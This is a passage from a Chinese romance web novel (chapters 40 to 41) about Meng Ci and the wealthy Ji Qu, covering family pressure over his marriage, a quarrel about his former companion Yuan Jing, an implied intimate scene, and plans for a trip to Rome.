孟慈拿下嘴里的瓜子,顿了顿才开口:“你不是于公?” “现在于私了。” 邓姚看着有些僵的孟慈,才又笑了起来,拍拍孟慈的胳膊,潇洒地说活在当下,享受优先。 音乐的鼓点变重,与变幻的灯光碰撞,一下下,一幕幕,如锤砸在孟慈心里脑里。 面前的邓姚看着李港,情思止不住地溢出来。 猛然间,邓姚和何冉在孟慈眼前重合。 孟慈不受控制地脱口而出:“那你图什么?总不能图他爱你吧。” 邓姚耸耸肩:“我又不是要和他结婚。” 过了几秒,她才无奈似的苦笑,“我试试吧,万一呢?” 鼓点加重,孟慈的心快要跳出胸膛,她一字一顿,“你真的图他爱你?” “没事的,我就试试,没有就算了。”邓姚语气轻飘,散在空气里。 包厢里的灯光流溢璀璨,人声鼎沸。 孟慈看着喝得醉过头的季曲,好像回到数年前,兜兜转转,人人事事,总是重复上演。 所以,几经曲折,他爱自己吗?自己又得到了什么? 察觉到孟慈的目光,接收到她有些混乱的情绪,场中央的季曲放下酒杯推开李港,步伐摇晃地走到孟慈身边扶着她的双膝缓缓蹲下,抬头凝着孟慈,打量她的神情。 良久,季曲笑笑,伸手别好孟慈鬓间掉落的发。 “怎么不开心?累了?我们回家好不好,对不起我今天喝的有些多,也没怎么陪你。” 孟慈就这么怔怔地看着季曲,闭口无言,清秀眉眼间却好像起了场稀薄的雾。 牵起孟慈落在膝盖上的手,放到自己的脸颊,季曲吻了孟慈的手心,滚烫潮湿。 “给你买金条好不好?还是再给你几个项目?或者你想去罗马看看吗?我陪你去,我会些意大利语,你连翻译都不用找……还是想去看看妈妈?我在奥克兰有栋别墅,我们去住一段时间怎么样?那边天气很好,不会下雪,你可以随便穿漂亮的小裙子。” 季曲始终笑着,身体由于醉酒失去平衡,止不住地来回晃,所以他干脆直接坐在地上。 孟慈豪无征兆地掉了两颗眼泪,季曲顿时乱了神,连忙起身,腿脚却不听话地发软,他双膝跪着地毯,蹭到孟慈面前伸手揩去她的泪。 孟慈的泪仿佛流不尽,眉眼间的雾氲成雨,飘飘洒洒地落下来。 她伸手圈住季曲的脖子,埋 在季曲的怀里,把两人都拉进绵绵无尽的大雨中,无法躲避。 那边李港看季曲久久不归,等得不耐烦开始喊人,带着满场的人都帮着开始找,最后还是邓姚伸手捂住了李港的嘴,指了指角落。 于是,所有人都看到,平日里高不可攀的季曲正姿态低软地跪在地上小心翼翼地哄怀里的孟慈,肢体间的温柔爱护不加掩饰地流露出来。 可惜的是,要是换个美好纯洁的场景,真是像极了一对神仙眷侣。 第40章 第40章“我想你了。” 李港离开的时候专门到季曲公司逛了一圈,连招呼都没打,就大摇大摆地冲进办公室,往沙发上一坐,像是来讨帐的大爷。 孙谦见怪不怪,抱着一沓文件说自己一会儿再过来,季曲点头。 会客的茶几上摆着一套茶具,季曲挑了龙井,加水煮沸,雾气于腕间缭绕,清澈的茶汤注入茶杯置于李港面前。 季曲看着品茶的李港,问:“几点的飞机?” “四点的。”李港说这茶好。 二话没说,季曲从柜子里取了剩余的茶叶给李港包了起来,“那还来我这儿?” 李港毫不客气地接过:“这不是不舍得你。” 季曲懒得接话,执起自己的杯子品茶,似乎比去年的品质差了些。 “我说的真心话。”李港见季曲不信,甚至举起手似乎要发誓。 季曲瞥了一眼:“我信。” 两个人又对坐半晌,李港大致谈了谈自己今年准备做的项目,让季曲给点看法,季曲说领域不同,没什么高见。 口风严得要死。 李港来之前就想到这一通,不过季曲最后倒是说今年多少得稳一点,别太冒失,严谨做事。 有这几句,李港心里便多少有了数。 期间孟慈打来电话,季曲也没避,在李港面前接起,简单几句,无非是晚上去哪吃,几点下班的日常交流。 看到这儿,李港突然想起自己妈妈提到的事,问:“哎,你怎么打算?” 季曲挂了电话,抬眸,“什么?” 李港看看季曲的手机,心思显而易见。 “正常谈呗,我也老大不小了,玩不动了。”季曲又给李港续了杯茶。 李港吹吹杯中的热气,笑了一声:“不怕一错再错?” 季曲和孟慈之前分开的时候,李港看在眼里,那年春节季曲出来玩的时候总是气压低沉,甚至还有点心不在焉,李港找人叫了大把的女孩子作陪,季曲一个都不买账。 现在好了,隔了几年又换成前人,感情还肉眼可见的更深了些,但是对于他们这一类人来说,感情最无用,也是拖累。 “你妈可是不认你这位女朋友。”李港喝着茶娓娓道来,“和我妈她们前段时间凑了个牌局,有人刚好提起来了,你妈说你身边没人,还让大家留意好姑娘给你介绍介绍。” “她怎么想是她的事。”季曲一副早有预期的模样,连喝茶的速度都没变。 “那你是准备结?还是就这么拖着?” “你觉得我妈能同意第一个选项?” 季曲把茶杯放回原位,无奈似的靠回椅背,李港这下便懂了,走一步看一步的事。 李港又问:“那和孟慈通过气儿了吗?” 季曲挑眉,显然还没。 李港点头,有的事确实没必要一五一十地坦白,适当的隐瞒更有益。 又坐了十几分钟,李港起身准备离开,季曲送人到楼下,说没事多回来看看,李港说顺利的话夏天就能回来。 季曲想了想夏天有什么重要事件,好像都不至于让李港特地跑一趟,于是多问了一嘴:“夏天?” “你表妹结婚。”李港给季曲提了个醒,“薄娴复诊的时候你还来吗?” “不一定。” 有了另一半自然地避嫌,就这段时间季曲出席饭局的上座率就能看出他对薄娴的态度,李港点点头,说他也能搞定,让季曲忙自己的就好。 送走李港,季曲继续回公司处理工作,还没等和孙谦过完合同,办公室的门又被推开。 来的是华婉。 季曲多少有些意外,孙谦见状再次离开。 茶具没隔一会儿便又被启用,华婉喜欢金骏眉,甘甜醇香。 室内静悄悄的,只剩水沸声。 看着起手斟水的季曲,华婉似是不在意地一提:“给你求的那串珠子呢?” 季曲顿了顿,手中的动作一停,眼眸一转似是思考,“昨天洗澡摘下来忘带了。” “真的?” “当然。” 头汤金黄微红,华婉一般不喝浓茶,季曲换了二汤才斟到杯中。 “那我怎么听说你送人了?”华婉端起茶杯,细品一口又放下。 季曲抬头,对上华婉一清二楚的眼神,勾起唇角笑了,像是幼时被妈妈看穿抓包后的尴尬。 “你是想像你姑姑气你爷爷一样气我?”华婉神色严肃几分。 季曲没说话。 看着面前垂眸品茶的儿子,华婉突然说不出重话,毕竟季曲从小就没怎么让自己操过心,事事都有自己的分寸,年近三十的人,自然懂得做事的度。 和谁结婚不和谁结婚,能换多少利益,对家族有没有影响,没必要她苦口婆心地劝。 华婉看着季曲空荡荡的手腕,总觉得这次不太对,心下一烦,留下最后期限,让季曲自己看着处理。 送走华婉,孙谦提醒季曲接下来要进行的会议。 季曲饮尽杯中已经凉了的茶,整理好思绪,随后便抬脚去往会议室。 晚餐时间,季曲带孟慈去了家胡同里的老馆子,私房菜,京味十足。 但是孟慈的食欲不太好,筷子在碗中翻了半天,只夹起一块儿山楂。 盛了半碗藕汤放到孟慈面前,她也只是点点头。 见状,季曲干脆从孟慈对面起身,坐到孟慈旁边的位置,端起碗舀了一勺汤晾温,然后送到孟慈嘴边。 孟慈下午接到了裴沛的视频,聊了半个多小时,目的就是为了让自己去相亲,说是钱杰儿子的同事,工作稳定,家底殷实,人也不错。 孟慈自然不想去,但是又没法拉季曲出来救火,说来说去只有一个不想的借口可用。 裴沛说只是先见见,年轻人交个朋友没什么不好的,孟慈反驳了一句不结婚也能过,毕竟自己身边婚姻失败的例子太多。 那边的裴沛肉眼可见的情绪低沉起来,其实自己没有特指谁,偏偏裴沛要对号入坐。 孟慈想要挽救,缓了几秒换了种语气,说自己再想想,裴沛也扯出一抹微笑,说好,那就等她的回复。 自此,孟慈便陷入情绪低潮,抬眸看着端着碗给自己喂汤的季曲,也没法倾诉,张张嘴又合上。 她能做的就是接纳那勺刚好温热的汤。 季曲见状,又舀了第二勺,孟慈再次喝下。 就这么一勺一勺地喂,汤碗见了底。 “表哥?” 一道人声由红木轩窗外传来,孟慈和季曲同时抬头,雕梁画柱的小院子里出现一对璧人。 安翰和季芷正一前一后地站在庭廊里,四人目光相对。 孟慈侧头看向季曲,他只是冲外面点点头,然后又夹了些菜到孟慈碗里,旁若无人地继续喂孟慈吃饭。 推推季曲的手臂,孟慈没有在 别人面前秀的爱好,身子往椅背靠,离季曲夹着的食物远了些。 外面的两人低声说了几句,安翰微微点头,便先离开,季芷来到孟慈和季曲在的房间。 “表哥,你也来吃饭?”季芷拎着小皮包,乖巧地打招呼。 孟慈不动声色地打量着,与何冉完全不是一个风格。 季曲应声:“挑到戒指了吗?” 季芷莞尔一笑:“有几枚还不错的。” “挑个喜欢的,别委屈自己。” 安家靠季家接济才有了转生之机,季家的姑娘当然没必要委屈自己,季芷现在正是安家的掌中宝,座上宾。 季芷想到白日到安家拜访时的事,问:“阿姨叔叔说想和咱们家吃个饭,我妈让我问问您的意见。” 季曲低着眼回忆了下最近的安排:“老爷子最近不太方便出来走动,季澈出差了,其他人都没什么问题,你去定时间和饭店就好。” 季曲在这一辈兄妹中发挥着主心骨的作用,除了季澈,他的话语权最大。 得到季曲的应答,季芷心里踏实不少,又问:“表哥想吃点什么菜色?我看叔叔婶婶平时都吃的清淡。” 季曲说无所谓,让季茵自己看着办。 季芷笑了笑:“那我先走了。” 季曲点头。 季曲和孟慈的事在圈子里传得沸沸扬扬,不用猜也知道季曲旁边坐着的女人是谁,季芷临走时特地看了眼孟慈,饶同是女人也被惊到,怪不得季曲这么宝贝。 人离开后季曲招生喊来服务生,让把季芷那桌的也算在自己账上,然后又拿起筷子继续刚刚没干完的动作,夹菜喂到孟慈嘴边。 孟慈从他手里夺过自己的筷子,把人赶回对面,问:“他们什么时候结婚?” “还是那天。”季曲一开始还不愿意离开,被孟慈推了两下才不情不愿地坐回对面,慢条斯理地把餐巾搭在腿上继续进食,“是个好日子。” “你会不会也这样啊?”孟慈戳了块牛肉放进嘴里,慢慢地嚼。 “什么样?” 孟慈想了想:“相亲?” 季曲挑眉看向孟慈,语气轻佻:“我需要?” 那倒是,季曲都是直接到订婚这步。 孟慈咽下牛肉,又夹了一块儿藕,似是无意:“你订婚的时候心情怎么样?我听沈棠溪说她当时第一次见你。” 季曲正专心处理手中的虾,思量着孟慈是真心想知道还是在给自己设套,一直到处理完才慢悠悠地说就那样。 “什么叫就那样,激动、兴奋…或者抗拒?”孟慈挑了块最完整的虾肉喂给季曲,“总得有点儿什么吧。” 略微意外地接住孟慈喂过来的肉,季曲看着眼神发亮的孟慈,咀嚼的动作都不由得放慢。 于是他问:“真想知道?” 孟慈说真想。 季曲便伸出脸颊,无赖道:“亲一口我就告诉你。” 商人的市侩本色又显露出来,孟慈撇撇嘴靠回椅背。 “真没什么,我的生活又不会因为她改变什么。”季曲将完整的虾肉放到孟慈的食碟中。 孟慈夹起来咬了一口,才慢悠悠地说:“敷衍。” 摘掉手套,季曲说:“我说的是真话你又不信。” “那你会和什么样的人结婚?” “我?” 季曲皱眉,不知道是不是因为季芷和安翰的出现让孟慈突然纠结在这件事,没必要没意义的事,聊多了又得惹得孟慈不高兴。 包厢里迎来片刻的沉默。 孟慈看着一时无言的季曲,猜想他应该无法回答这个问题,毕竟没有人能坦荡的在现任面前说自己未来的结婚对象,即使两个人都心知肚明这位未知者一定不是对方。 没必要让自己的心情更差,孟慈放下餐具,说想出去旅游。 台阶摆在面前不下的是傻子。 季曲自然而然地接过来问孟慈想去哪里。 “罗马吧。”几乎没什么犹豫,孟慈脱口而出。 季曲思索了自己最近的行程安排,问:“多久?” 其实就是瞎说的,孟慈哪里知道自己想去多久,将错就错,随便说了句一周。 刚好马上要开学返校,孟慈准备从罗马直接回去,懒得来回跑。 季曲问了孟慈开学的具体时间,便说由自己安排,孟慈只需要收拾好行李等着出发就好。 孟慈的位置刚好看到季芷和安翰的包厢。 今晚的虾是特供,每桌必点,季芷正细心地剥壳,安翰则在一旁默默地进食,两个人不怎么说话,但画面也并不奇怪。 视线由远及近,收回到季曲身上,他刚好也抬头,或者一直在孟慈身上,不过这都不重要。 孟慈的胳膊撑在桌子上,双手交叠撑着下巴,叹气似的吐了一句,“我想你了。” 被表白的季曲一愣神,转而笑意爬上眉梢。 “我不就在这儿?” “嗯。”孟慈语气轻柔,“季曲,我想你了。” 窗外春寒料峭,窗内万物转苏。 孟慈今晚不常见地穿了件白色毛衣,毛茸茸的,衬得她都软糯几分,再加上此刻还一动不动地盯着季曲,说想他。 白日里的烦躁情绪消了个彻底,季曲恨不得现在就买机票带着孟慈飞到罗马。 “我以后忘了你长什么样怎么办?”孟慈的目光在季曲脸上一点一点地移,细如扫描。 季曲伸手越过餐桌落在孟慈的发顶揉:“所以现在就这么盯着我看?” 孟慈笑了,说对。 “吃饱了吗?”在为数不多的温情时刻,季曲突然没由头地来了一句。 孟慈点头,季曲飞速起身拿起外套给孟慈穿好拉着人往外走,一点都没停顿。 孟慈被突如其来的一连串动作搞昏。 季曲走的快,除了路过石子路的时候放慢了些步子。 孟慈落在季曲身后半步,问季曲怎么了也没人回答。 一直到车跟前,季曲才拉开后座的车门把孟慈推上去,自己也跟着坐进车子里。 两人落进黑暗中。 季曲毫不遮掩地拉着孟慈的手往更暗的地方探索。 孟慈霎时间红了耳尖,想甩开却被抓得更紧。 不过几分钟的路,季曲嗓音都变哑。 孟慈的脸彻底转向车窗,背对季曲,还没等散热,就被季曲掰住肩膀转回身,被迫接住猛烈的吻。 车内空气逐渐稀薄,连呼吸都变成助燃剂,胸前一松,孟慈回神般撑住季曲的肩膀把人硬是推开几寸。 她呼吸急促,面红耳赤地控诉:“季曲!这是在外面!” 季曲听完,又低头吻上去,像饿狼扑食,只差把孟慈拆骨卸肉吞食入腹。 胡同里的灯笼溢出微弱的光,随着不知哪儿来的风摇摇晃晃,落在黑色的车身,有一寸没一寸地闪。 映红了季曲的背,映红了孟慈的脸。 良久,季曲抽了几张纸巾简单清/理,然后把还在颤抖的孟慈抱进怀里安抚,“我那会儿想到的是你。” “嗯?”孟慈还处在意识混沌中。 季曲动情地吻掉孟慈额间渗出的细汗,拿起孟慈的手腕比量,轻言细语道:“订婚的时候,我想到的是你带祖传的那支翡翠镯子一定好看。”- 隔日孟慈意外接到了邓姚的电话,要约自己吃饭。 其实也不算意外,因为李港的欢送宴上两人就约好了要一起去试一家新店。 邓姚最近没有通告,又偶然间得到了安娜的信息,想着孟慈与安娜交好,便主动约人出来。 在等菜上桌的间隙,邓姚一边烫餐具一边说自己的老板已经消失了快半个月,会议全部转成线上,就连自家公司的庆功宴也没出席。 说到这儿,孟慈从包里掏出提前准备好的礼物推到邓摇面前。 她的新专辑销量破了纪录,孟慈送上恭喜。 邓姚面带惊喜地拆开盒子,里面装的是一副苏绣团扇,丝线浮光缕缕,一只杜鹃活灵活现。 邓姚是南方人,老家就在水乡,从小便喜爱 这些,她捏着扇柄反复观赏,止不住地道谢。 “只是觉得很配你。”孟慈笑地真诚。 邓姚乐完了又问:“很贵吧?这种材质和绣工,让你破费了。” 孟慈摆手,只说是自己前段时间和季曲看展时意外碰到的,老板和季曲有几分交情,便稍微意思了一些,不到破费的地步。 把团扇收好放在一边,邓姚又打趣了几句孟慈和季曲两人之间愈发甜蜜让人羡慕,然后才继续之前的话题。 “后来又一次开会的时候,我们老板的摄像头没关,大家看到了那边有个女孩子,几位副总认出来是安娜,我估摸着有我们老板照应着,应该也没什么问题。” 其实邓姚说的这些孟慈大多也能猜到,季曲虽然不和自己件件说清楚,却也会偶然提点消息让自己安心。 安家的事尚在季曲的控制范围内,不会闹得不可开交。 可能是提起安娜,邓姚不免感叹几句命运好坏,有的人偏偏生下来就被捧到手心,有的人则像她一样非得埋着头咬着牙苦命干才能得到些什么。 听着这些长吁短叹,孟慈只是笑笑,在邓姚更难过时出言打断。 “你现在不是过的很好,事业爱情,你都拥有。” 邓姚听到这儿笑了一下,唇角却有些苦:“你不懂。” “我怎么不懂?”孟慈夹了些小食放到邓姚的碟子里,让她边吃边说。 邓姚夹了片绿油油的菜叶子,说:“季总对你死心塌地,我那个最多是见色起意。” 听着这么直白的话,孟慈没忍住笑了起来。 看到孟慈这幅听了乐子的模样,邓姚以为她不信。 “你还挺乐呵,你回来之后季总身边可就干干净净再没出现过其他人,我那位呢,现在还不知道领着谁在外面吃饭应酬。” “不至于的,季曲说李港平时也忙,哪有时间找那么多人。” “这你说了可不算。”邓姚又夹了块刺身,“我反正也看开了,得不到爱又能怎么样呢?我也不能仅凭爱活着,只求分手的时候他能好心多关照我些,不至于让我爱情事业双破产就好了。” 邓姚一边吃一边说,孟慈便安静地听,一顿饭下来,邓姚吃没吃饱不知道,孟慈倒是听的头晕眼花,满脑子都是邓姚总结的大道理。 离开前孟慈去了趟卫生间,洗手时忽然听到旁边有断断续续的啜泣声压着水声传出来。 孟慈洗完手随意抬眼一扫,刚好在镜子角落看到了双眼通红的袁晶。 她是见过袁晶的,在季曲身边。 比上次见面还瘦了些,孟慈用余光打量着袁晶微凹的双颊,听到了不算陌生的人声。 “你在这和我哭也没用,我又不是慈善家,你妈那儿就是无底洞,谁看了都得跑。” “您在帮我一次吧,我这次一定努力。” “不是努力不努力的问题,这种事讲究个时机,我好歹也是个正经商人,总不能动不动就给人家送人过去,叫外面的人知道了还不得以为我是妈妈/桑。” 胡志和袁晶断断续续地说着,烘手机的声音持续不断,孟慈双手干透时胡志已经离开了。 孟慈转身看到留在原地的袁晶,没什么想法,收回眼神抬脚离开。 季曲是个再大方不过的人,萍水相逢一场总不会亏待了她,再者这世上的苦难本就数不胜数,自己也不是菩萨。 回到包厢后邓姚拿着手机让孟慈帮她选一只包,说是后天走机场用,孟慈浏览一遍,大多抵得上三线城市的半套房。 不由自主地,孟慈又想到袁晶哭红的眼。【你现在阅读的是 】 40-50 第41章 第41章季曲说了抱歉 晚上回家后,季曲破天荒地比孟慈回来的早,而且一点酒都没沾,洗了澡清清爽爽地坐在书房看书。 孟慈走进去,伸手把季曲眼前的书抽出来,翻了几页,是她不感兴趣的哲学类书籍。 季曲被打断也没什么反应,只是抬头拉住孟慈的手腕让她坐在自己的腿上,问她晚上吃饱了没。 孟慈点头,提起席间几道较有特色的菜品,邀请季曲下次一起去试试,季曲自然说好。 随后两人便安静地依偎在一起,孟慈窝在季曲怀里,跟着他的速度看了几页书。 没过半个小时,孟慈便打了哈欠。 “睡觉去。”季曲揩掉孟慈眼尾滑落的湿,在孟慈耳边轻声说。 孟慈点点头,季曲便把书朝下放在圆形茶几上,勾住孟慈的后背和膝窝把人抱进卧室。 洗漱完躺下,孟慈的困意反倒减弱不少,时不时地翻翻身揉揉被角,身后突然亮起微醺的暖光。 季曲坐起身揉了揉孟慈的头发,问:“睡不着?” 孟慈转过身看着季曲:“好像没那么困了。” “是不是晚上吃撑了?”季曲看了眼时间,确实已经到了孟慈的休息时间。 “好像吧。”孟慈含糊应道。 于是季曲便斜靠在床头,让孟慈躺平给她揉肚子。 这一揉就是大半个小时,连孟慈都觉得有些不好意思,她按着季曲的手让他停下。 “睡吧。”孟慈拉拉季曲的手,让他躺好。 躺下后,季曲伸出胳膊把孟慈揽进怀里,手在孟慈的后背轻拍。 孟慈原本就有些别扭,便躲了一下,季曲手边一空,这才看出来孟慈有些不对。 “怎么了?发生什么事了?”季曲低头看着孟慈黝黑的发顶,试图通过她今天见的人和去的地方推测遇到了什么。 孟慈不好直接张嘴问季曲袁晶的事。 一方面是膈应,一方面是觉得丢人,不懂自己为什么圣母心泛滥,而且泛滥地对象还是自己男朋友的前任。 但是不问又憋得难受,翻来覆去地想了一会儿,选了个折中的法子。 “我之前走的时候,你怎么没让人把公司搞垮?” “公司?” “对。”孟慈抬头,对上季曲稍显疑惑的眼。 “你是不是,把公司当给我的分手费啊?”孟慈眨眨眼,试探地问。 季曲没答。 于是孟慈撑着季曲的胸膛把上半身支起来些,又说:“所以你是个大方的人对吧。” 季曲不解,选择先不回答,他捏着孟慈的腮肉:“你到底想问什么?” “我今天碰到袁晶了。”孟慈向右歪头,解救出自己的脸,“她好像过得不太好。” 没有男人会在这种话题里全身而退,季曲也不例外,但是孟慈又太过专注,逼得季曲不得不想一个合适的回答。 在孟慈的注视下,季曲缓慢开口:“我给了她一笔钱,足够解决她的难题。” 虽然季曲这么说,但是袁晶看起来又确实是走投无路的模样,孟慈不由得多问一句:“但是好像不够,她看起来不算太好。” 不想继续这个话题,季曲说:“我不是慈善家,总不能资助她事事无忧。” 孟慈没回,但是在她的眼里,季曲读到了她对他冷漠的不满。 于是他说:“慈慈,不能因为你也曾经遇到过类似的情况,就随便的共情其他人,比起她,受苦受难的人还有很多,但不是所有人都能遇到我。” 比起袁晶付出的,季曲给她的回报可以说是天价。 不知怎么,这段话灌到孟慈耳朵里,让她有些反胃。 “是了,也不是所有人都有机会跟在季总身边,陪季总应酬喝酒,天南地北地出差解闷。” 季曲带着袁晶出差的事,孟慈是知道的。 她和季曲纠缠之后,有关季曲的消息像风挟雪片一样地送到孟慈家门口,无论孟慈想不想听。 似乎是没想过孟慈会知道这一段,季曲罕见地迟钝了一会儿,在他犹豫的档口,孟慈继续批评。 “所以是嫌人家陪你的时间太短?还是嫌人家不够爱你?也是一张床……”孟慈话还没说完就看到季曲的眸光暗了一瞬,她心里也膈应,于是停了两秒,她才继续,“也是曾经亲密无间的人,怎么就这么冷血。” 说完这句,季曲的脸色彻底暗了下来,薄薄的眼皮被不知名的情绪撑满,盯着孟慈,一簇幽蓝的焰苗,似乎即将倾泄。 要知道孟慈说完这些话心里也布满无名火。 自己离开这两年,想也知道季曲身边的 女人一定一茬接着一茬如园子里开不败的鲜花,自己只不过提了几句,怎么就霎时间变了脸色。 想着想着,心里的火辣转变成厚重的酸涩,沿着血脉涌进四肢,就连指尖都在发麻。 孟慈干脆从季曲身上翻到床边,背对着他。 把所有的感受都集中在背部,孟慈听到自己的心脏重重地跳。 过了没几分钟,季曲的手便虚虚地搭到自己腰间,孟慈躲了一下。 没一个呼吸,季曲又找过来,孟慈又躲。 一连两次,季曲没再伸手。 心里的酸彻底变成苦,沉沉地往心底压,似乎见不到底一样,要把五脏六腑都压穿。 孟慈紧闭着眼,感受着眼底的汹涌。 还没等泪水涌出,就听到身后一阵悉悉索索。 季曲主动贴到孟慈的后背,用孟慈甩不开的力度拥住她,在伸手不见五指的黑夜说了一句抱歉。 对以上种种件件,季曲说了抱歉- 为了空出一周的时间陪孟慈去罗马,季曲让孙谦把所有的工作都往前提,咖啡茶水一杯一杯地往身体里送,从早到晚塞到不留一丝空隙的日程让季曲也觉得乏力。 孟慈知道季曲突如其来的忙碌是为了什么。 于是她自发的给季曲送饭,每天都按时按点地出现在季曲的办公室,秘书们每每借着送材料的借口跑进来偷看。 孟慈大部分时间都在沙发上坐着,要么抱本书啃,要么用季曲的办公平板玩益智小游戏。 周五的午饭是川菜,红油鲜亮的水煮鱼和辣子鸡,还有各类素菜小炒,冬瓜丸子汤。 两人并排坐在沙发上进食,期间孙谦进来一次。 “一起吃点吧。”孟慈指了指对面的座位,掏出一副未使用的餐具。 孙谦自然拒绝,他指指手机上的通话记录,“季总,华女士的电话,说给您打您没接。” 把鱼肉上的刺剔净夹到孟慈碗里,季曲才不在意地问是很重要的事吗。 孙谦只是传话筒,说华婉只是让季曲回电话,没说具体事宜,然后便出了门。 鲜亮的油麦菜炒的脆爽,孟慈只扫了一眼,下一秒便出现在自己的碗里。 “不回电话?”孟慈见季曲半天没什么反应,顺嘴提了一句。 季曲摇头:“没什么大事。” 与此同时,季曲放在一旁的手机震动起来,两人一齐看过去,来电显示是华婉。 季曲把手机倒扣在茶几表面,又给孟慈剥了只虾。 孟慈夹起来先喂给季曲,第二只才放到自己嘴里。 可能是有什么要紧事,办公桌上的座机又开始响,季曲眉眼间溢出些许烦躁。 孟慈把碗筷放下:“万一真有什么急事,接吧。” 说完又伸手推推季曲的小臂,催人去接。 电话铃声又响了半晌,直到尾音,季曲才起身走到办公桌前去接。 “妈。” “在忙吗?” “吃午饭。” 简单的对话,季曲靠在桌边,把话筒夹在肩膀与耳朵之间,抽了几张湿巾擦手。 华婉突然来了一句:“我在你们公司楼下。” 擦拭的动作一顿,季曲掀起眼皮看正偷偷挑辣椒脆吃的孟慈,突然想就这么让两人打个照面也不是不行,正好把事摊在明面上谈,华婉要面子,在公众场合怎么也做不出什么过分的事。 但是转念一想,马上要出去玩,等把孟慈送回学校再慢慢地磨华婉更好,毕竟孟慈比华婉难哄太多。 华婉是自己的亲妈,总归会心疼。 孟慈可不会。 她心硬起来不一定又冷不丁拎着行李跑到哪个角落,一消失又不知要耽误多少年。 思来想去,季曲只是嗯了一声。 听出来儿子的犹豫,华婉点到为止:“我今天不上去了,给你带了点补品放在前台,记得让人取,另外记得我们上次说好的时间,毕竟你应该也不想让我出面处理你的私事。” 挂了电话,季曲回到孟慈身边坐下。 “怎么了?”孟慈喂给季曲一块土豆。 季曲张嘴咬住,嚼了两下,“没怎么,给我送了点补剂放在前台。” 孟慈继续问:“怎么不上来?” 原本还沉浸在自己思绪中的季曲听到这句话才回神,侧眸看向孟慈,对上她笑意盈盈的眼,才知道她是故意这么说。 没忍住伸手戳了戳孟慈因为食物而微微鼓起来的脸颊,惹得人弱弱地喊了声痛。 季曲这才说还不是怕孟慈受委屈。 孟慈听到这儿不干了,说自己可没说一句话,这半天都是乖乖吃饭来着。 这倒是,季曲想到这两天和孟慈的相处日常,都觉得她乖巧的有些不真实。 “明天晚上的飞机,你东西都带好了吗?” “嗯,其他的都打包邮回学校了,阿姨帮我收。” 季曲点点头,说自己晚上有个饭局,可能会晚点回家。 “你早就说过了。”孟慈放下碗筷,从包里掏出解酒药递给季曲,“记得吃。” 午间的光穿透玻璃洒满寸土寸金的顶层,连空中的灰尘粒子都能照亮,暖洋洋的烘满整个屋子。 季曲和孟慈腿挨坐着。 他甚至不用怎么靠近就能看清孟慈脸上的咖啡色小痣,藏在浓密的下睫毛中,不仔细辨认的话只觉得是一片阴影。 没忍住用手背在孟慈软糯的脸颊上蹭蹭。 季曲笑着说好。 这样的日子真好- 和预计的一样,晚上的饭局持续到近十二点还没散。 胡志等人知道季曲第二天有安排,从落座开始便不动声色地为人挡酒。 连喝带演,对方才真的相信季曲醉了。 “季总,接下来我们安排,您先回吧。”胡志和孙谦架着季曲往外走,陈昱通已经搭着对方老板的肩膀摇摇晃地出了大门。 “悠着点。”季曲脚步稍显虚浮,声音却依旧稳重。 车子早就停在门口,见一帮人乌央乌央地涌出来,司机们纷纷下车接人。 “呦,这是谁啊?”胡志语气带笑地来了一句。 季曲微垂着头,还以为又是哪位老总,刚想装醉混过去,就听到孙谦小声说孟慈来了。 孟慈来了? 原本还在装醉的季曲猛地抬起头,刚好看到孟慈正从往自己身前走。 极简单的装束,一件风衣遮到小腿处,脚上踩着一双白色帆布鞋,头发松松散散地用抓夹固定在脑后,小小的一张脸在黑夜的衬托下白的几乎曝光。 和白日里不太一样,应该是已经准备歇下了。 这个猜想在孟慈靠近后被验证,季曲在寒风中嗅到一丝淡雅的栀子花味,是她惯用的沐浴乳自带的味道。 孟慈接替过孙谦和胡志的任务,把季曲的胳膊搭到自己肩上。 小小的一只,根本负担不起自己的身体,季曲虚搭着孟慈,眼底是关不住的惊喜。 “你怎么来了?” “来接你回家啊。” 孟慈答得利落,仿佛是再自然不过的一件事。 那边胡志和孙谦看到这一幕,笑着打了个招呼便先一步上车离开了,小两口浓情蜜意的时刻,谁没眼色会去打扰。 “哎!孟总来了?好久不见啊孟总!” 还真有,陈昱通就是那个不识眼色的,他已经醉了,此时正费力地扒着车窗打招呼,连眼睛都快睁不开了,也难得他能认出孟慈,“孟总!季总今天的酒我都挡了,您放心!一点没醉!” 胡志连走带跑地捂住陈昱通的嘴,再大声点全场的人都知道季曲装醉可还了得。 偏偏今天宴请的那位还真听到了,此时也从后座爬起来摇下车窗看人。 大家早就听说季曲身边多了个伴。 自己大价 钱挖回来的团队直接挥手送给人家,前段时间的拍卖会上的一副画上的人物和孟慈有几分像,季曲也是眼睛都不眨地拍出九位数的天价直接拿下。 更甚的是听说季曲这次来的是真的,连华婉都不得不亲自出面棒打鸳鸯。 偏偏季曲也宝贝得紧,除了季曲身边的人大家几乎都没见过本人,有的人动了合作的心思,递了不少项目想和孟慈搭个线,还没等接触到公司的层面就被季曲的人拦了下来。 这一番连续动作整得圈子里的众人好奇心更甚。 今天好不容易碰上,自然得睁大眼睛好好看看,这位主到底有什么本事。 几乎是众人纷纷看过来的瞬间,季曲飞快地侧身把孟慈拢在怀里,只给外人留下一道背影。 胡志和孙谦连忙叫各家司机赶紧开车出发,眼看着有的人都要去打开保险销准备下车了。 发动机的低轰声先后脚响起,带着众人消失在渐深的夜。 孟慈悄悄探出头,看到大家都已经离开,才伸手拍拍季曲的后背,说人都走了可以不用挡着自己。 季曲好像没听到一样,依旧抱着孟慈,过了半晌才冒出一句你来干嘛。 孟慈把季曲的脸托起来,皱着眉辨认,“真喝醉了啊?刚不是说了来接你回家。” “嗯,醉了。”季曲说完便又埋进孟慈温热的脖颈里,嗅令他着迷的味道。 孟慈的手穿进两人间,沿着坚实的肌肉线条一路往上,在季曲的左胸处停止,掌心贴在上面,感受心脏跳动的速度。 咚—咚—咚— 是有些快。 “我煮了解酒汤,回家喝点就好了。” “你还煮了解酒汤?” 孟慈说是。 季曲又问:“给我煮的?” 孟慈这下相信季曲是真的喝醉了:“不然呢?谁们家夜宵是解酒汤?” 这下,季曲终于舍得抬起头,认真地在孟慈眼中寻找某些他想确认的东西。 马上要出正月,春意悄悄地在每个深夜冒头,一点儿一点儿的,挤走冬的位置。 耳边微弱的风仿佛都变得温热。 他又问:“孟慈,你来接我?” 这是今夜的第三遍,孟慈看着季曲,良久叹出一口气,垂下眼皮几秒,然后再掀起,直白地对视季曲探询的眼,语气坚定地说:“对,我来接你。” 季曲每个月有大半的时间都在飞机上,不过自从孟慈回来,他仿佛有了牵绊。 在北城的时间越来越多,在孟慈身边的时间也越来越多。 常常能体会到的失重感好久不出现。 但是在孟慈看着自己的眼前然后温柔耐心地说出这句话时,失重感再次找了回来。 